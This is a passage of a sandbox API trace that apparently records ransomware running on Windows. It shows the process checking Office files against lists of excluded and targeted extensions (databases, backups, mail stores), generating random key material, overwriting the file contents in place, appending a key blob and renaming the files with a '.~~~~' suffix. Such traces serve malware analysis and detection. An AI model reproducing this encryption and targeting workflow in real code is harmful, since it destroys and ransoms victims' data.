	[0142.301] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir12f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir12f.gif.~~~~")) returned 1
	[0142.304] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9360 | out: hHeap=0x300000) returned 1
	[0142.304] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0142.304] GetLastError () returned 0x0
	[0142.304] RtlWakeConditionVariable () returned 0x0
	[0142.304] GetCurrentThreadId () returned 0x9f4
	[0142.304] GetCurrentThreadId () returned 0x9f4
	[0142.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9408
	[0142.304] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9600 | out: hHeap=0x300000) returned 1
	[0142.304] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa580 | out: hHeap=0x300000) returned 1
	[0142.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9600
	[0142.305] lstrlenW (lpString=".scr") returned 4
	[0142.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".scr") returned 0x0
	[0142.305] lstrlenW (lpString=".cmd") returned 4
	[0142.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".cmd") returned 0x0
	[0142.305] lstrlenW (lpString=".dll") returned 4
	[0142.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".dll") returned 0x0
	[0142.305] lstrlenW (lpString=".bat") returned 4
	[0142.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".bat") returned 0x0
	[0142.305] lstrlenW (lpString=".cpl") returned 4
	[0142.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".cpl") returned 0x0
	[0142.305] lstrlenW (lpString=".sys") returned 4
	[0142.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".sys") returned 0x0
	[0142.305] lstrlenW (lpString=".msc") returned 4
	[0142.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".msc") returned 0x0
	[0142.305] lstrlenW (lpString=".com") returned 4
	[0142.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".com") returned 0x0
	[0142.305] lstrlenW (lpString=".lnk") returned 4
	[0142.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".lnk") returned 0x0
	[0142.305] lstrlenW (lpString=".msp") returned 4
	[0142.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".msp") returned 0x0
	[0142.305] lstrlenW (lpString=".pif") returned 4
	[0142.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".pif") returned 0x0
	[0142.305] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.305] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir13f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0142.308] lstrlenW (lpString=".sqb") returned 4
	[0142.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".sqb") returned 0x0
	[0142.308] lstrlenW (lpString=".ost") returned 4
	[0142.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".ost") returned 0x0
	[0142.308] lstrlenW (lpString=".txt") returned 4
	[0142.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".txt") returned 0x0
	[0142.308] lstrlenW (lpString=".mdt") returned 4
	[0142.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".mdt") returned 0x0
	[0142.308] lstrlenW (lpString=".BDB") returned 4
	[0142.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".BDB") returned 0x0
	[0142.308] lstrlenW (lpString=".eql") returned 4
	[0142.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".eql") returned 0x0
	[0142.308] lstrlenW (lpString=".DBF") returned 4
	[0142.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".DBF") returned 0x0
	[0142.308] lstrlenW (lpString=".EQL") returned 4
	[0142.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".EQL") returned 0x0
	[0142.308] lstrlenW (lpString=".FDB") returned 4
	[0142.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".FDB") returned 0x0
	[0142.308] lstrlenW (lpString=".EDB") returned 4
	[0142.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".EDB") returned 0x0
	[0142.308] lstrlenW (lpString=".DACPAC") returned 7
	[0142.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.308] lstrlenW (lpString=".VHD") returned 4
	[0142.308] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".VHD") returned 0x0
	[0142.308] lstrlenW (lpString=".DBV") returned 4
	[0142.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".DBV") returned 0x0
	[0142.309] lstrlenW (lpString=".dacpac") returned 7
	[0142.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.309] lstrlenW (lpString=".sdf") returned 4
	[0142.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".sdf") returned 0x0
	[0142.309] lstrlenW (lpString=".accdb") returned 6
	[0142.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".accdb") returned 0x0
	[0142.309] lstrlenW (lpString=".DBX") returned 4
	[0142.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".DBX") returned 0x0
	[0142.309] lstrlenW (lpString=".MDT") returned 4
	[0142.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".MDT") returned 0x0
	[0142.309] lstrlenW (lpString=".SQB") returned 4
	[0142.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".SQB") returned 0x0
	[0142.309] lstrlenW (lpString=".vhd") returned 4
	[0142.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".vhd") returned 0x0
	[0142.309] lstrlenW (lpString=".bac") returned 4
	[0142.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".bac") returned 0x0
	[0142.309] lstrlenW (lpString=".mdf") returned 4
	[0142.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".mdf") returned 0x0
	[0142.309] lstrlenW (lpString=".BAK") returned 4
	[0142.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".BAK") returned 0x0
	[0142.309] lstrlenW (lpString=".BAC") returned 4
	[0142.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".BAC") returned 0x0
	[0142.309] lstrlenW (lpString=".dbs") returned 4
	[0142.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".dbs") returned 0x0
	[0142.309] lstrlenW (lpString=".vhdx") returned 5
	[0142.309] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.309] lstrlenW (lpString=".NDF") returned 4
	[0142.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".NDF") returned 0x0
	[0142.310] lstrlenW (lpString=".dat") returned 4
	[0142.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".dat") returned 0x0
	[0142.310] lstrlenW (lpString=".DBS") returned 4
	[0142.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".DBS") returned 0x0
	[0142.310] lstrlenW (lpString=".CKP") returned 4
	[0142.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".CKP") returned 0x0
	[0142.310] lstrlenW (lpString=".edb") returned 4
	[0142.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".edb") returned 0x0
	[0142.310] lstrlenW (lpString=".PST") returned 4
	[0142.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".PST") returned 0x0
	[0142.310] lstrlenW (lpString=".dbf") returned 4
	[0142.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".dbf") returned 0x0
	[0142.310] lstrlenW (lpString=".SQL") returned 4
	[0142.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".SQL") returned 0x0
	[0142.310] lstrlenW (lpString=".pst") returned 4
	[0142.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".pst") returned 0x0
	[0142.310] lstrlenW (lpString=".dbv") returned 4
	[0142.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".dbv") returned 0x0
	[0142.310] lstrlenW (lpString=".SDF") returned 4
	[0142.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".SDF") returned 0x0
	[0142.310] lstrlenW (lpString=".dtxs") returned 5
	[0142.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.310] lstrlenW (lpString=".db3") returned 4
	[0142.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".db3") returned 0x0
	[0142.310] lstrlenW (lpString=".OST") returned 4
	[0142.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".OST") returned 0x0
	[0142.310] lstrlenW (lpString=".dbx") returned 4
	[0142.310] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".dbx") returned 0x0
	[0142.311] lstrlenW (lpString=".DB3") returned 4
	[0142.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".DB3") returned 0x0
	[0142.311] lstrlenW (lpString=".DAT") returned 4
	[0142.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".DAT") returned 0x0
	[0142.311] lstrlenW (lpString=".VHDX") returned 5
	[0142.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.311] lstrlenW (lpString=".ndf") returned 4
	[0142.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".ndf") returned 0x0
	[0142.311] lstrlenW (lpString=".DB") returned 3
	[0142.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".DB") returned 0x0
	[0142.311] lstrlenW (lpString=".sql") returned 4
	[0142.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".sql") returned 0x0
	[0142.311] lstrlenW (lpString=".MYD") returned 4
	[0142.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".MYD") returned 0x0
	[0142.311] lstrlenW (lpString=".DBT") returned 4
	[0142.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".DBT") returned 0x0
	[0142.311] lstrlenW (lpString=".ACCDB") returned 6
	[0142.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.311] lstrlenW (lpString=".fdb") returned 4
	[0142.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".fdb") returned 0x0
	[0142.311] lstrlenW (lpString=".bak") returned 4
	[0142.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".bak") returned 0x0
	[0142.311] lstrlenW (lpString=".myd") returned 4
	[0142.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".myd") returned 0x0
	[0142.311] lstrlenW (lpString=".DTXS") returned 5
	[0142.311] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.312] lstrlenW (lpString=".ckp") returned 4
	[0142.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".ckp") returned 0x0
	[0142.312] lstrlenW (lpString=".dbt") returned 4
	[0142.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".dbt") returned 0x0
	[0142.312] lstrlenW (lpString=".db") returned 3
	[0142.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".db") returned 0x0
	[0142.312] lstrlenW (lpString=".TXT") returned 4
	[0142.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".TXT") returned 0x0
	[0142.312] lstrlenW (lpString=".MDF") returned 4
	[0142.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".MDF") returned 0x0
	[0142.312] lstrlenW (lpString=".bdb") returned 4
	[0142.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".bdb") returned 0x0
	[0142.312] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.312] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0142.312] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.312] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0142.313] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.313] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0142.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0142.314] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26230392232) returned 1
	[0142.357] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbe40bdd0, dwHighDateTime=0x1d60e1e)) 
	[0142.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0142.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0142.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0142.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fac48
	[0142.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fac48 | out: hHeap=0x300000) returned 1
	[0142.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9210
	[0142.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c68d8
	[0142.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9210 | out: hHeap=0x300000) returned 1
	[0142.358] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0142.359] GetLastError () returned 0x0
	[0142.359] GetLastError () returned 0x0
	[0142.359] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0142.359] GetLastError () returned 0x0
	[0142.359] GetLastError () returned 0x0
	[0142.359] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x3ce8, lpOverlapped=0x0) returned 1
	[0142.362] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffc318, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.362] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x3ce8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x3ce8, lpOverlapped=0x0) returned 1
	[0142.362] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0142.362] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.363] WriteFile (in: hFile=0x138, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.363] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.363] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.363] CloseHandle (hObject=0x138) returned 1
	[0142.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9210
	[0142.364] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir13f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir13f.gif.~~~~")) returned 1
	[0142.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9210 | out: hHeap=0x300000) returned 1
	[0142.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0142.392] GetLastError () returned 0x0
	[0142.392] RtlWakeConditionVariable () returned 0x365f70
	[0142.392] GetCurrentThreadId () returned 0x9f4
	[0142.392] GetCurrentThreadId () returned 0x9f4
	[0142.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9408
	[0142.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a97f8 | out: hHeap=0x300000) returned 1
	[0142.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fabd8 | out: hHeap=0x300000) returned 1
	[0142.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a97f8
	[0142.393] lstrlenW (lpString=".scr") returned 4
	[0142.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".scr") returned 0x0
	[0142.393] lstrlenW (lpString=".cmd") returned 4
	[0142.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".cmd") returned 0x0
	[0142.393] lstrlenW (lpString=".dll") returned 4
	[0142.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".dll") returned 0x0
	[0142.393] lstrlenW (lpString=".bat") returned 4
	[0142.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".bat") returned 0x0
	[0142.393] lstrlenW (lpString=".cpl") returned 4
	[0142.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".cpl") returned 0x0
	[0142.393] lstrlenW (lpString=".sys") returned 4
	[0142.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".sys") returned 0x0
	[0142.393] lstrlenW (lpString=".msc") returned 4
	[0142.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".msc") returned 0x0
	[0142.393] lstrlenW (lpString=".com") returned 4
	[0142.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".com") returned 0x0
	[0142.393] lstrlenW (lpString=".lnk") returned 4
	[0142.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".lnk") returned 0x0
	[0142.394] lstrlenW (lpString=".msp") returned 4
	[0142.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF", lpSrch=".msp") returned 0x0
	[0142.394] lstrlenW (lpString=".pif") returned 4
